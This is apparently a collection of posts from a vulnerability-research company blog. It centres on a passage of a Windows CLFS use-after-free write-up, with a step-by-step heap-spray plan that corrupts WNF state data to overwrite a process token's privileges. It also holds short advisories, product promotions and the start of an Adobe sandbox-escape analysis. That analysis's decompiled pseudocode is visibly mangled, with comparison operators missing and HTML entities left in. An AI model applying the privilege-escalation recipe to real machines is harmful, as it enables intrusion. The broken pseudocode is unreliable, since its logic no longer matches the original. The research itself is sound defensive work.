Relevant entries in the _WNF_NAME_INSTANCE structure include:

  • StateName: Uniquely identifies the name instance, shown at [3].
  • StateData: Stores the data associated with the instance, shown at [4].
  • CreatorProcess: Stores the address of the _EPROCESS structure of the process that created the name instance, shown at [5].

The StateData is headed by a structure of type _WNF_STATE_DATA. This structure is listed below:

struct _WNF_STATE_DATA
{
    // [6]

    struct _WNF_NODE_HEADER Header;                                         //0x0

    // [7]

    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

The StateData pointer is referred to when the WNF State Data is updated and queried. The variable-size data immediately follows the _WNF_STATE_DATA structure.

Updating WNF State Data

When the WNF State Data is updated via a call to NtUpdateWnfStateData(), ExpWnfWriteStateData() is called internally to write to the StateData pointer. The pseudocode of ExpWnfWriteStateData() is listed below.

void ExpWnfWriteStateData
               (_WNF_NAME_INSTANCE *NameInstance,void *InputBuffer,ulonglong Length,int MatchingChangeStamp,
               int CheckStamp)

{

[Truncated]

    if (NameInstance->StateData != (_WNF_STATE_DATA *)0x1) {

[8]

        StateData = NameInstance->StateData;
    }
    LengtH = (uint)(Length & 0xffffffff);

[9]

    if (((StateData == NULL) && ((NameInstance->PermanentDataStore != NULL || (LengtH != 0)))) ||

[10]

       ((StateData != NULL && (StateData->AllocatedSize < LengtH)))) {

[Truncated]

[11]

            StateData = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag(9,(ulonglong)(LengtH + 0x10),0x20666e57);

[Truncated]

[12]

        StateData->Header = (_WNF_NODE_HEADER)0x100904;
        StateData->AllocatedSize = LengtH;

[Truncated]

[13]

        RtlCopyMemory(StateData + 1,InputBuffer,Length & 0xffffffff);
        StateData->DataSize = LengtH;
        StateData->ChangeStamp = uVar5;

[Truncated]

    __security_check_cookie(local_30 ^ (ulonglong)&stack0xffffffffffffff08);
    return;
}

The InputBuffer and Length parameters to the function contain the contents and size of the data. It is important to note that these can be controlled by a user.

The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [8]. If the StateData pointer is NULL (as is the case initially) at [9], or if the current size is lesser than the size of the new data at [10], memory is allocated from the Paged Pool for the new StateData pointer at [11]. It important to note that the size of allocation is the size of the new data (Length) plus 0x10, to account for the _WNF_STATE_DATA header. The Header and AllocateSize fields shown at [6] and [7] of the _WNF_STATE_DATA header are then initialized at [12].

Note that if the current StateData pointer is large enough for the new data, code execution from [8] jumps directly to [13]. Length bytes from the InputBuffer parameter are then copied into the StateData pointer at [13]. The DataSize field in the _WNF_STATE_DATA header is also filled at [13].

Deleting WNF State Name

A WNF State Name can be deleted via a call to NtDeleteWnfStateName(). Among other things, this function frees the associated name instance and StateData buffers described above.

Querying WNF State Data

When WNF State Data is queried via a call to NtQueryWnfStateData(), ExpWnfReadStateData() is called internally to read from the StateData pointer. The pseudocode of ExpWnfReadStateData() is listed below.

undefined4
ExpWnfReadStateData(_WNF_NAME_INSTANCE *NameInstance,undefined4 *param_2,void *OutBuf,uint OutBufSize,undefined4 *param_5)

{

[Truncated]

[14]

    StateData = NameInstance->StateData;
    if (StateData == NULL) {
        *param_2 = 0;
    }
    else {
        if (StateData != (_WNF_STATE_DATA *)0x1) {
            *param_2 = StateData->ChangeStamp;
            *param_5 = StateData->DataSize;

[15]

            if (OutBufSize < StateData->DataSize) {
                local_48 = 0xc0000023;
            }
            else {

[16]

                RtlCopyMemory(OutBuf,StateData + 1,(ulonglong)StateData->DataSize);
                local_48 = 0;
            }
            goto LAB_fffff8054ce2383f;
        }
        *param_2 = NameInstance->CurrentChangeStamp;
    }


The OutBuf and OutBufSize parameters to the function are provided by the user to store the queried data. The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [14]. If the output buffer is large enough to store the data (which is checked at [15]), StateData->DataSize bytes starting right after the StateData header are copied into the output buffer at [16].

Pipe Attributes

After the creation of a pipe, a user has the ability to add attributes to the pipe. The attributes are a key-value pair, and are stored into a linked list. The PipeAttribute object is allocated in the PagedPool, and has the following structure:

struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize;
    char * AttributeValue;
    char data[0];
};

The size of the allocation and the data is fully controlled by an attacker. The AttributeName and AttributeValue are pointers pointing at different offsets of the data field. A pipe attribute can be created on a pipe using the NtFsControlFile syscall, and the 0x11003C control code.

The attribute’s value can then be read using the 0x110038 control code. The AttributeValue pointer and the AttributeValueSize will be used to read the attribute value and return it to the user.

Steps for Exploitation

Exploitation of the vulnerability involves the following steps:

  1. Spray large number of Pipe Attributes of size 0x7a00 to use up all fragmented chunks in VS backend and allocate new ones. The last few will each be allocated on separate segments of size 0x11000, with the last (0x11000-0x7a00) bytes of each segment unused.
  2. Delete one of the later Pipe Attributes. This will consolidate the first 0x7a00 bytes with the remaining bytes in the rest of the segment, and put the entire segment back in the VS backend.
  3. Allocate the vulnerable chunk of size 0x7a00 by opening the malicious Base Log File. This will get allocated from the freed segment in Step 2. Similar to Step 1, the last (0x11000-0x7a00) bytes will be unused. The vulnerable chunk will be freed for the first time shortly afterwards. Similar to Step 2, the entire segment will be back in the VS backend.
  4. Spray large number of WNF_STATE_DATA objects of size 0x1000. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 3. Note that no size lesser than 0x1000 (and maximum is 0x1000 for WNF_STATE_DATA objects) can be used because that will have an additional header that will corrupt the header in the vulnerable chunk, blocking a double free.
  5. Free the vulnerable chunk for the second time. This will end up freeing the memory of one of the WNF_STATE_DATA objects allocated in Step 4, without actually releasing the object.
  6. Allocate a WNF_STATE_DATA object of size 0x1000 over the freed chunk in Step 5. This will create 2 entirely overlapping WNF_STATE_DATA objects of size 0x1000.
  7. Free all the WNF_STATE_DATA objects allocated in Step 4. This will once again put the entire vulnerable segment (of size 0x11000) back in the VS backend.
  8. Spray large number of WNF_STATE_DATA objects of size 0x700, each with unique data. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 7. Each page in the freed segment is now split as (0x700,0x700,0x1d0 (remaining)). Note, here size 0x700 can be used because the rest of the exploit doesn’t require any more freeing of the vulnerable chunk. This now creates 2 overlapping WNF_STATE_DATA objects, one of size 0x1000 (allocated in Step 6) and other of size 0x700 (allocated here). Size 0x700 is specifically chosen for 2 reasons. The first reason being that the additional chunk header (of size 0x10) in the 0x700-sized object means that the StateData header of the 0x1000-sized object is 0x10 bytes before the StateData header of the 0x700-sized object. Thus, the StateData header of the 0x700-sized object overlaps with the StateData data of the 0x1000-sized object.
  9. Update the StateData of the 0x1000-sized object to corrupt the StateData header of the 0x700-sized object such that the AllocatedSize and DataSize fields of the 0x700-sized object is increased from 0x6c0 (0x700-0x40) to 0x7000 each. Now, querying or updating the 0x700-sized object will result in an out-of-bounds read/write into adjacent 0x700-sized WNF_STATE_DATA objects allocated in Step 8.
  10. Identify the corrupted 0x700-sized WNF_STATE_DATA object by querying all of them with a Buffer size of 0x700. All will return successfully except for the corrupted one, which will return with an error indicating that the buffer size is too small. This is because the DataSize field was increased (refer to Step 9).
  11. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to further identify the next 2 adjacent WNF_STATE_DATA objects using the OOB read. The first of these will be at offset 0x710 and the second will be at offset 0x1000 from the corrupted 0x700-sized WNF_STATE_DATA object.
  12. Free the second newly identified WNF_STATE_DATA object of size 0x700.
  13. Create a new process, which will run with the same privileges as the exploit process. The token of this new process is allocated over the freed WNF_STATE_DATA object in Step 12. This is the second reason for choosing size 0x700, as the size of the token object is also 0x700.
  14. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to identify the contents of the token allocated in Step 13 using the OOB read. Calculate the offset to the Privileges.Enabled and Privileges.Present fields in the token*object.
  15. Update the corrupted 0x700-sized WNF_STATE_DATA object to corrupt the first adjacent object (identified in Step 11) using the OOB write. Increase the AllocatedSize and DataSize fields in the StateData pointer (refer to Step 9).
  16. Update the most recent corrupted WNF_STATE_DATA object (Step 15) to corrupt the adjacent token object using the OOB write. Overwrite the Privileges.Enabled and Privileges.Presentfields in the token object to 0xffffffffffffffff, thereby setting all the privileges. This completes the LPE.

Conclusion

We hope you enjoyed reading the deep dive into a use-after-free in CLFS, and if you did, go ahead and check out our other blog posts on vulnerability analysis and exploitation. If you haven’t already, make sure to follow us on Twitter to keep up to date with our work. Happy hacking!

The post Exploiting a use-after-free in Windows Common Logging File System (CLFS) appeared first on Exodus Intelligence.

Schneider Electric SoMachine HVAC ActiveX Control Information Disclosure Vulnerability

12 January 2023 at 20:39

EIP-50a1e402

An information disclosure vulnerability exists in Schneider Electric SoMachine HVAC due to a method in the ‘AxEditGrid3.ocx’ ActiveX control leaking a heap address of an ActiveX object. An attacker can entice a user to open a specially crafted web page to leak Internet Explorer process memory information.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-50a1e402
  • MITRE: CVE-2022-2988

Vulnerability Metrics

  • CVSSv2 Score: 5.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 10th, 2021
  • Disclosed to public: January 12th, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

The post Schneider Electric SoMachine HVAC ActiveX Control Information Disclosure Vulnerability appeared first on Exodus Intelligence.

SonicWall SMA 500v and SMA 100 Series Firmware Heap Buffer Overflow

12 January 2023 at 20:51

EIP-6a6472ab

A remote code execution vulnerability exists in SonicWall SMA 100 Series and SMA 500v Series due to a heap buffer overflow in the ‘extensionsetting’ endpoint. A remote, authenticated attacker can send crafted HTTP POST requests to execute code on vulnerable targets as the ‘nobody’ user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-6a6472ab
  • MITRE: CVE-2022-2915

Vulnerability Metrics

  • CVSSv2 Score: 6.0

Vendor References

Discovery Credit

  • Sergi Martinez (Exodus Intelligence)

Disclosure Timeline

  • Disclosed to affected vendor: April 21st, 2022
  • Disclosed to public: January 12th, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

The post SonicWall SMA 500v and SMA 100 Series Firmware Heap Buffer Overflow appeared first on Exodus Intelligence.

CloudLinux LVE kernel module (kmod-lve) Reference Counter Overflow

13 January 2023 at 22:38

EIP-ad32d249

A local privilege escalation vulnerability exists in the CloudLinux Lightweight Virtualized Environment (LVE) kernel module due to an overflow of a reference counter. Successful exploitation allows an authenticated local user to escalate their privileges to root, whereas an unsuccessful exploit may cause a kernel panic. 

Vulnerability Identifiers

  • Exodus Intelligence: EIP-ad32d249
  • MITRE: CVE-2022-0492

Vulnerability Metrics

  • CVSSv2 Score: 6.6

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: April 21st, 2022
  • Disclosed to public: January 13th, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program (RSP).

The post CloudLinux LVE kernel module (kmod-lve) Reference Counter Overflow appeared first on Exodus Intelligence.

All-time High Cybersecurity Attrition + Economic Uncertainty = Happy(ish) New Year 

19 January 2023 at 15:13

All-time High Cybersecurity Attrition + Economic Uncertainty = Happy(ish) New Year

As 2023 fires up, so do the attrition numbers across the Cybersecurity vertical.  With bonuses being paid and cybersecurity professionals searching for the next great job, vulnerability management teams are understaffed with growing concerns around finding qualified cybersecurity candidates to fill once occupied roles.  To amplify the situation, 2023 looks to be the year of ‘economic uncertainty’, sparking layoffs and budget contractions as companies brace for a potential recession.  These compounding factors put already overworked vulnerability management teams behind the curve as malicious threats become more frequent and more sophisticated. 

Exodus Intelligence is here to help. 

In response to the soaring attrition numbers and lack of qualified talent, Exodus Intelligence wants to help in making vulnerability management teams more efficient.  Exodus is offering their N-Day vulnerability subscription for FREE for 1 month for all users registered no later than January 31st.  Exodus brings 300+ years of vulnerability research expertise and the trust of governments and Fortune 500 organizations to mitigate the most critical vulnerabilities in existence. Simply put – you receive 35 world-class reserachers at no cost. 

The N-Day Vulnerability subscription provides customers with intelligence about critically exploitable, publicly disclosed vulnerabilities on widely used software, hardware, embedded devices, and industrial control systems.  Every vulnerability is analyzed, documented, and enriched with high-impact intelligence derived by some of the best reverse engineers in the world. At times, vendor patches fail to properly secure the underlying vulnerability.  Exodus Intelligence’s proprietary research enhances patch management efforts. Subscribed customers have access to an arsenal of more than 1200 vulnerability intelligence packages to ensure defensive measures are properly implemented. 

For those that are concerned about Zero-day vulnerabilities, Exodus is also offering the benefit of our Zero-day vulnerability subscription for up to 50% off for new registrations no later than January 31st.  Exodus’ Zero-day Subscription provides customers with critically exploitable vulnerability reports, unknown to the public, affecting widely used and relied upon software, hardware, embedded devices, and industrial control systems. Customers will gain access to a proprietary library of over 200 Zero-day vulnerability reports in addition to proof of concept exploits and highly enriched vulnerability intelligence packages. These Zero-day Vulnerability Intelligence packages, unavailable anywhere else, enable customers to reduce their mean time to detect and mitigate critically exploitable vulnerabilities. 

These offerings are available to the United States (and allied countries) Private and Public Sectors to gain the immediate benefit of advanced vulnerability analysis, mitigation guidance/signatures, and proof-of-concepts to test against current defenses. 

To register for FREE N-day Intelligence, please fill out the webform here 

Sample Report

The post <strong>All-time High Cybersecurity Attrition + Economic Uncertainty = Happy(ish) New Year</strong>  appeared first on Exodus Intelligence.

Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).

15 February 2023 at 02:23

Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).

Exodus Intelligence, the leader in Vulnerability Research, today announced it has been authorized by the CVE Program as a CVE Numbering Authority (CNA).  As a CNA, Exodus is authorized to assign CVE IDs to newly discovered vulnerabilities and publicly disclose information about these vulnerabilities through CVE Records.

“Exodus is proud to be authorized as a CVE Numbering Authority which will allow us to work even more closely with the security community in identifying critically exploitable vulnerabilities,” said Logan Brown, Founder and CEO of Exodus.

The CVE Program is sponsored by the Cybersecurity and Infrastructure Security Agency (CISA), of the U.S. Department of Homeland Security (DHS) in close collaboration with international industry, academic, and government stakeholders. It is an international, community-based effort with a mission to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. The mission of CVE is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. The discovered vulnerabilities are then assigned and published to the CVE List, which feeds the U.S. National Vulnerability Database (NVD). Exodus joins a global list of 269 trusted partners across 35 countries committed to strengthening the global cyber security community through discovering and sharing valuable cyber intelligence.

About Exodus Intelligence

Exodus employs some of the world’s most advanced reverse engineers and exploit developers to provide Government and Enterprise the unique ability to understand, prepare, and defend against the ever-changing landscape of Cyber Security. By providing customers with actionable Vulnerability Intelligence including deep vulnerability analysis, detection and mitigation guidance, and tooling to test defenses, our customers receive leading edge insights to harden their network or achieve mission success.

The post <strong>Exodus Intelligence has been authorized by the CVE Program as a CVE Numbering Authority (CNA).</strong> appeared first on Exodus Intelligence.

Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises

1 March 2023 at 16:03

Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises

Today Exodus Intelligence is excited to announce EVE (Exodus Vulnerability Enrichment), our world-class vulnerability intelligence platform. EVE allows a wide range of security operations professionals to leverage Exodus’ state-level vulnerability research. This allows those professionals to prioritize mitigation and remediation efforts, enrich event data and incidents, be alerted to new noteworthy vulnerabilities relevant to their systems, and take advantage of many other available use cases valuable in defending their critical infrastructure.

EVE makes our robust intelligence available for the first time to enterprises for use in the defense of growing cyberattacks.  The API to the Exodus body of research enables us to provide simple, out of the box integration with SIEMs, SOARs, ticketing systems and other infrastructure components that can employ contextual data.  Additionally, it enables security operations teams to develop their own custom tooling and applications and integrate our vulnerability research.

Organizations with the ability to develop automation playbooks and other tools have been able to enrich available security data, enhance investigation and incident response capabilities, prioritize vulnerability remediation efforts, and more. We can now expand that capability and visibility to the rest of the security operations team with EVE. 

EVE provides users with an intuitive interface to Exodus’ intelligence corpus made up of original research, machine learning analysis, and carefully curated public data.  This interface includes regular automated updates to intelligence data, integration with environment-specific platform and vulnerability data, interactive visualizations that operationalize the research data for SOC analysts and risk management personnel, multidimensional search capability including filters which narrow results to only vulnerabilities that exist in the user’s environment and are likely to be exploited, and the ability to schedule searches to run on a recurring basis and email alerts to the user.

EVE capabilities include:

  • Dynamic, automated intelligence feed: Vulnerability research data is updated at minimum once per day with likelihood of a vulnerability to be exploited (XI Score), mitigation guidance, and other original research combined with curated public vulnerability data to maximize visibility of the attack surface.
  • Integration with the IT ecosystem: CPE data from vulnerability scans of the infrastructure can be input into EVE and applied as context to searches and visualizations keeping focus on relevant vulnerabilities.
  • Smart data visualization: The dashboard provides a wealth of information including a real-time likelihood that an existing vulnerability will be exploited in the environment, vulnerabilities grouped and sorted by categories such as attack vector or disclosure month, and which platforms in the environment have the most vulnerabilities. All visualizations are interactive allowing the user to drill into the vulnerability details making the data actionable.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

For more information, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>Exodus Intelligence Launches EVE Vulnerability Intelligence Platform Targeting Commercial Enterprises</strong> appeared first on Exodus Intelligence.

CISA Urges Caution, One Year On From Invasion of Ukraine

8 March 2023 at 16:50

CISA Urges Caution, One Year On From Invasion of Ukraine

One year removed from Russia’s invasion of Ukraine, CISA has issued a warning to the United States and its European allies: increased cyber-attacks may be headed to your network.

 As tensions abroad remain high, the cyber landscape will be an extension of the physical battleground. More than ever, understanding where and how your organization is vulnerable is an essential part of risk management.

 At Exodus Intelligence, the leader in vulnerability intelligence, we seek to proactively understand your organization’s vulnerabilities, to assess the associated risk of those vulnerabilities, and to provide focused mitigation guidance based on our expert research.

 Rather than fighting thousands of threats individually, Exodus focuses on neutralizing thousands of potential exploits all at once, by addressing the root cause of your system’s vulnerabilities.

 Be sure to follow along with CISA alerts and advisories to remain vigilant on the developing threat landscape during this turbulent time. We have extensive coverage of the vulnerabilities in CISA’s Known Exploited Vulnerabilities catalog and provide mitigation guidance on those vulnerabilities to ensure your organization stays protected.

 Learn more about our product offerings and solutions to see how we can protect your organization:

 N-Day

 Zero-Day

 EVE

The post <strong>CISA Urges Caution, One Year On From Invasion of Ukraine</strong> appeared first on Exodus Intelligence.

Everything Old Is New Again

15 March 2023 at 15:00

Everything Old Is New Again,
Exodus Has A Solution

It is said that those who are ignorant of history are doomed to repeat it, and this article from CSO shows that assertion reigns true in cybersecurity as well.  Threat actors are continuing to exploit vulnerabilities that have been known publicly since 2017 and earlier.  Compromised enterprises referenced in the article had five years or longer to patch or mitigate these vulnerabilities but failed to do so.  Rarely does a month go by without another article showcasing how companies are continuously compromised by patched vulnerabilities.  Why does this keep happening?

Things are hard and vulnerability management is no exception.  Many enterprises manage tens, or hundreds, of thousands of hosts, each of which may have any number of vulnerabilities at any given time.  As you may well imagine, monitoring such a vast and dynamic attack surface can be tremendously challenging.  The vulnerability state potentially changes on each host with every application installed, patch applied, and configuration modified.  Given the numbers of vulnerabilities cited in the CSO article previously mentioned, tens of thousands of vulnerabilities reported per year and increasing, how can anything short of a small army ever hope to plug these critical infrastructure holes?

If you accept that there is no reasonable way to patch or mitigate every single vulnerability then you must pivot to prioritizing vulnerabilities and managing a reasonable volume off the top, therefore minimizing risk in the context of available resources.  There are many ways to prioritize vulnerabilities, provided you have the necessary vulnerability intelligence to do so.  Filter out all vulnerabilities on platforms that do not exist in your environment.  Focus on those vulnerabilities that exist on public-facing hosts and then work inward.  As you are considering these relevant vulnerabilities, sort them by the likelihood of each being exploited in the wild.

Exodus Intelligence makes this type of vulnerability intelligence and much more available in our EVE (Exodus Vulnerability Enrichment) platform.  Input CPEs that exist within your environment into the EVE platform and see visualizations of vulnerability data that apply specifically to you.  We combine carefully curated public data with our own machine learning analysis and original research from some of the best security minds in the world and allow you to visualize and search it all.  You can also configure custom queries with results that you care about, schedule them to run on a recurring basis, and send you a notification when a vulnerability is published that meets your criteria.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

 

For more information, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>Everything Old Is New Again</strong> appeared first on Exodus Intelligence.

The Death Star Needed Vulnerability Intelligence

21 March 2023 at 20:55

The Death Star Needed Vulnerability Intelligence

Darth Vader and his evil colleagues aboard the Death Star could have seriously benefited from world-class vulnerability intelligence. Luckily for the Rebel Alliance, Vader was too focused on threat intelligence alone.

If you’ve ever seen the original Star Wars story, you might recall that the evil Empire was confident with their defensive intelligence as well as their seemingly impenetrable defensive systems. Their intel notified them of every X-Wing, pilot, and droid headed in their direction. They were flush with anti-aircraft turrets, tie fighters, and lasers to attack those inbound threats. 

The Death Star was a fortress—right?

This approach to security isn’t unlike the networks and systems of many companies who have a vast amount of threat intelligence reporting on all known exploits in exceptional detail. Sometimes, though, lost in the noise of all the threats reported, there is a small opening. If exploited, that small opening can lead to a chain reaction of destruction. The Rebel Alliance attacked the one vulnerability they found—with tremendous results to show for it. 

Unfortunately, there are bad actors out there who are also looking to attack your systems, who can and will find a way to penetrate your seemingly robust defenses. Herein lies the absolute necessity of vulnerability intelligence. 

Exodus provides world-class vulnerability intelligence entrusted by government agencies and Fortune 500 companies. We have a team of world class researchers with hundreds of years of combined experience, ready to identify your organization’s vulnerabilities, even the smallest of openings matter. With every vulnerability we detect, we neutralize thousands of potential exploits.

Learn more about our intelligence offerings and consider starting a trial:

For more information, visit www.exodusintel.com  or https://info.exodusintel.com/defense-offer-lp/ to see trial offers.

The post <strong>The Death Star Needed Vulnerability Intelligence</strong> appeared first on Exodus Intelligence.

An Unpatched Vulnerability, A Substantial Liability

22 March 2023 at 11:00

An Unpatched Vulnerability, A Substantial Liability

Even the largest and most mature enterprises have trouble finding and patching vulnerabilities in a timely fashion. As we see in this article challenges include getting patches pushed through a sophisticated supply chain and ultimately to a system whose end user may have devices configured to not allow automated remote patch application. We see this play out with every product that contains a line of code, from the simplest programs to large SaaS platforms with stringent performance, scalability, and availability requirements: patches need to be implemented at the earliest opportunity in order to avert catastrophe.

This plague of failing to patch vulnerabilities is infesting enterprises globally and is spreading like wildfire. It seems that nearly every day brings another breach, another company forced to spend millions reacting after the fact to a threat that may have been prevented. These attacks are often successful due to unpatched systems.  Victim companies that could have been proactive and taken measures to prevent these attacks, now find themselves in the spotlight with diminished reputation, the possibility of regulatory fines, and lost revenue. 

We see this pattern far too often and want to help. Exodus Intelligence’s new EVE (Exodus Vulnerability Enrichment) platform delivers real time updates on things that your security team needs to be worried about and helps you prioritize patches with our exclusive XI score that shows you which vulnerabilities are most likely to be exploited in the wild. EVE combines insight regarding known vulnerabilities from our world class researchers with supervised machine learning analysis and carefully curated public data to make available the most actional intelligence in the quickest possible manner. 

EVE is a critical tool in the war against cyberattacks in the commercial sector, allowing companies to leverage the same Exodus data trusted by governments and agencies for more than a decade. Never let your business be put in the position of reacting to an attack, get EVE from Exodus Intelligence and be proactive rather than reactive.

About Exodus Intelligence

We provide clients with actionable information, capabilities, and context for proven exploitable vulnerabilities.  Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with this knowledge before the adversaries find them.  Our research also extends into the world on N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.  

For more information, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>An Unpatched Vulnerability, A Substantial Liability</strong> appeared first on Exodus Intelligence.

Escaping Adobe Sandbox: Exploiting an Integer Overflow in Microsoft Windows Crypto Provider

6 April 2023 at 19:01

By Michele Campa

Overview

We describe a method to exploit a Windows Nday vulnerability to escape the Adobe sandbox. This vulnerability is assigned CVE-2021-31199 and it is present in multiple Windows 10 versions. The vulnerability is an out-of-bounds write due to an integer overflow in a Microsoft Cryptographic Provider library, rsaenh.dll.

Microsoft Cryptographic Provider is a set of libraries that implement common cryptographic algorithms. It contains the following libraries:
 
  • dssenh.dll  – Algorithms to exchange keys using Diffie-Hellman or to sign/verify data using DSA.
  • rsaenh.dll  – Algorithms to work with RSA.
  • basecsp.dll – Algorithms to work with smart cards.

These providers are abstracted away by API in the CryptSP.dll library, which acts as an interface that developers are expected to use. Each call to the API expects an HCRYPTPROV object as argument. Depending on certains fields in this object, CryptSP.dll redirects the code flow to the right provider. We will describe the HCRYPTPROV object in more detail when describing the exploitation of the vulnerability.

Cryptographic Provider Dispatch

Adobe Sandbox Broker Communication

 
Both Adobe Acrobat and Acrobat Reader run in Protected Mode by default. The protected mode is a feature that allows opening and displaying PDF files in a restricted process, a sandbox. The restricted process cannot access resources directly. Restrictions are imposed upon actions such as accessing the file system and spawning processes. A sandbox makes achieving arbitrary code execution on a compromised system harder.
 
Adobe Acrobat and Acrobat Reader use two processes when running in Protected Mode:
 
  • The Broker process, which provides limited and safe access to the sandboxed code.
  • The Sandboxed process, which processes and displays PDF files.
When the sandbox needs to execute actions that cannot be directly executed, it emits a request to the broker through a well defined IPC protocol. The broker services such requests only after ensuring that they satisfy a configured policy.
Sandbox and Broker

Sandbox Broker Communication Design

 
The communication between broker and sandbox happens via a shared memory that acts like a message channel. It informs the other side that a message is ready to be processed or that a message has been processed and the response is ready to be read.
 
On startup the broker initializes a shared memory of size 2MB and initializes the event handlers. Both, the event handlers and the shared memory are duplicated and written into the sandbox process via WriteProcessMemory().
 
When the sandbox needs to access a resource, it prepares the message in the shared memory and emits a signal to inform the broker. On the other side, once the broker receives the signal it starts processing the message and emits a signal to the sandbox when the message processing is complete.
Communication between Sandbox and Broker
The elements involved in the Sandbox-Broker communication are as follows:
 
  • Shared memory with RW permissions of size 2MB is created when the broker starts. It is mapped into the child process, i.e. the sandbox.
  • Signals and atomic instructions are used to synchronize access to the shared memory.
  • Multiple channels in the shared memory allow bi-directional communication by multiple threads simultaneously.
In summary, when the sandbox process cross-calls a broker-exposed resource, it locks the channel, serializes the request and pings the broker. Finally it waits for broker and reads the result.
 

Vulnerability

The vulnerability occurs in the rsaenh.dll:ImportOpaqueBlob() function when a crafted opaque key blob is imported. This routine is reached from the Crypto Provider interface by calling CryptSP:CryptImportKey() that leads to a call to the CPImportKey() function, which is exposed by the Crypto Provider.
				
					// rsaenh.dll

__int64 __fastcall CPImportKey(
        __int64 hcryptprov,
        char *key_to_imp,
        unsigned int key_len,
        __int64 HCRYPT_KEY_PUB,
        unsigned int flags,
        _QWORD *HCRYPT_KEY_OUT)
{

[Truncated]

  v7 = key_len;
  v9 = hcryptprov;
  *(_QWORD *)v116 = hcryptprov;
  NewKey = 1359;

[Truncated]

  v12 = 0i64;
  if ( key_len
    &amp;&amp; key_len = key_len )
  {
    if ( (unsigned int)VerifyStackAvailable() )
    {

[1]

      v13 = (unsigned int)(v7 + 8) + 15i64;
      if ( v13 = (unsigned int)v7 )
      {
        v39 = (char *)((__int64 (__fastcall *)(_QWORD))g_pfnAllocate)((unsigned int)(v7 + 8));
        v12 = v39;

[Truncated]

      }

[Truncated]

      goto LABEL_14;
    }

[Truncated]

LABEL_14:

[2]

  memcpy_0(v12, key_to_imp, v7);
  v15 = 1;
  v107 = 1;
  v9 = *(_QWORD *)v116;

[Truncated]

[3]

  v18 = NTLCheckList(v9, 0);
  v113 = (const void **)v18;

[Truncated]

[4]

  if ( v12[1] != 2 )
  {

[Truncated]

  }
  if ( v16 == 6 )
  {

[Truncated]

  }
  switch ( v16 )
  {
    case 1:

[Truncated]

    case 7:

[Truncated]

    case 8:

[Truncated]

    case 9:

[5]

      NewKey = ImportOpaqueBlob(v19, (uint8_t *)v12, v7, HCRYPT_KEY_OUT);
      if ( !NewKey )
        goto LABEL_30;
      v40 = WPP_GLOBAL_Control;
      if ( WPP_GLOBAL_Control == &amp;WPP_GLOBAL_Control || (*((_BYTE *)WPP_GLOBAL_Control + 28) &amp; 1) == 0 )
        goto LABEL_64;
      v41 = 210;
      goto LABEL_78;
    case 11:

[Truncated]

    case 12:

[Truncated]

    default:

[Truncated]

  }
}
				
			

Before reaching ImportOpaqueBlob() at [5], the key to import is allocated on the stack or on the heap according to the available stack space at [1]. The key to import is copied, at [2], into the new memory allocated; the public key struct version member is expected to be 2. The HCRYPTPROV object pointer is decrypted at [3], and then at [4] the key version is checked to be equal to 2. Finally a switch case on the type field of the key to import leads to executing ImportOpaqueBlob() at [5]. This occurs if and only if the type member is equal to OPAQUEKEYBLOB (0x9).

The OPAQUEKEYBLOB indicates that the key is a session key (as opposed to public/private keys).

				
					__int64 __fastcall ImportOpaqueBlob(__int64 a1, uint8_t *key_, unsigned int len_, unsigned __int64 *out_phkey)
{

[Truncated]

    *out_phkey = 0i64;
    v8 = 0xC0;

[6]

    if ( len_ = v18 )      // key + 0x10
        {
            if ( (_DWORD)v17 )
            {

[9]

                *((_QWORD *)v16 + 3) = v16 + 0xC8;
                memcpy_0(v16 + 0xC8, key_ + 0x70, v17);
            }

[Truncated]

    }
    else
    {

[Truncated]

    }
      if ( v16 )
        FreeNewKey(v16);
      return v10;
    }

[Truncated]

  return v10;
}
				
			

